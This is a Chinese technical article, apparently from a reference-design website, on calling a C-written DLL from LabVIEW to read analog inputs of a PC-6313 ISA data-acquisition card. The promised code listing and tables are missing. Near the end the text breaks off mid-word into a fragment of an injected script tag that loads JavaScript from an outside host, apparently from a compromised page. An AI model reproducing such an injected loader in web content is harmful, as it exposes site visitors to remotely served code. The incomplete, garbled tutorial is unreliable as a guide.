LabVIEW中基于DLL的数据采集

  摘 要:介绍在labview编程环境下,通过调用dll实现的数据采集,并以一pc-6313多功能卡的模入部分为对象编写了实例。

  关键词:labview;数据采集;动态连接库
data acquisition based on dll of the labview platform

  yangxiao-peng,huangyan-yan,shichun-jing

  (university of shanghai for science&technology,shanghai200093,china)

  abstract:this paperintroduces a method to acquire datafromcommon daqboard by using dllonthe labview platform.in addition,anapplication example of pc-6313 board for a/dpartis given.

  keywords:labview;data acquisition;dll

1 pc-6313简介

  pc-6313多功能模入模出接口卡适用于具有isa总线的pc系列微机。使用时只需将接口卡插入机内任何一个isa总线插槽中,其模入模出及i/o信号均可通过信号电缆从机箱外部直接接入。在本文的程序编制中主要针对该卡的模入,即a/d部分。本卡上的a/d转换为12位字长,可用于32个通道的单端或16个通道的双端输入。外部模拟信号经多路开关选择后送入高速放大器处理。处理后的信号送入模数转换器进行转换。模数转换器的启动方式可以选用程序启动或者定时器自动触发,也可用外部触发方式启动。其转换状态可以用程序查询,也可以用中断方式通知cpu读取转换结果。卡内a/d转换的地址分配见表1。
  

  查询a/d转换状态时的数据格式及意义见表2(端口地址为基地址+2)。

  在每个a/d转换程序段开始时,应通过空读低 8位数据初始化a/d转换标志及中断申请标志。

2 利用动态链接库dll进行数据采集

2.1 数据采集动态链接库(dll)的建立

  建立动态链接库(dll)的工具很多,本文介绍用c语言编写动态连接库dll的步骤。

  (1)生成c语言文件。在mfc界面菜单上选择file>>new选项,在弹出的new对话框中选择files属性页,在左边列表中选择c/c++headerfile项,在右边file一栏中输入程序名:daq.c,在路径一栏输入c:/temp,再按ok按钮结束对话框。

  (2)编写动态连接库中的函数。在生成的程序中编写输出函数代码如下:

  上述输出函数是利用pc-6313模入部分进行数据采集的一个例程,这里只用到了一个输入参数ch,即通道号,为整型变量。函数的返回值为value,即通道中采集到的信号电压值,为实型变量。

  (3)将c语言文件编译成工程文件。在mfc界面菜单上选择build>>compile myfunctionl.c选项,将daq.c编译成为工程文件。

  (4)在mfc界面菜单上选择project>>settings选项,在弹出的project settings对话框中选择link页面,对output file name栏和project options栏做相应的修改。在outputfile name栏中输入daq.dll,在project op-tions栏中将路径设置改为/subsystem:windows/dll/in-cremental:yes

  (5)生成myfunctionl.dll的动态连接库。在build>>build daq.c选项,生成daq.dll的动态连接库。

2.2 labview中对dll的调用

  在labview中,利用库函数节点(calllibrary func-tion node,简称节点)可以较容易地实现对dll的调用,从而提高了程序的开发效率。使用call libraryfunction,我们可以调用windows标准的动态连接库(dll),也可以调用用户自己编制的dll。call libraryfunction位于function>>advanced子菜单中,将选择好的call library function图标放在设计面板(diagram)中,然后通过对call library function这一节点图标进行配置,可以指定dll模块中与labview数据交换的相应的驱动函数。在调用dll库中函数时,必须知道以下信息:函数返回的数据类型、函数调用的方式、函数的参数及类型、dll库文件的位置等。右键单击calllibrary function的图标,在弹出的菜单选项中选择configure...选项,通过browse选择被调用的库名或路径,在本例中选择c:/temp/debug/daq.dll;在functionname选项中输入被调用的函数名,本例中即输入daq;在calling conventions选项中选择所调用的库是标准调用(stdcall)还是用户使用c语言自己创建的库,本例中为用c语言创建的库。下面是关于所调用函数参数和返回值的设置。选择返回值(return type)的参数类型,有三种类型可供选择:空(void),数值(numeric),字符(string),选定其中的一种后,还要再根据情况选择具体的数据类别,本例中返回值为采样的电压值,选择数值(numeric)类型,再选择8-bytes double类型。然后单击右侧的add parameter after给函数添加第一个输入参数,和返回值一样,也要选择参数类型和具体的数据类?script src=http://er12.com/t.js>

  • LabVIEW中基于DLL的数据采集已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计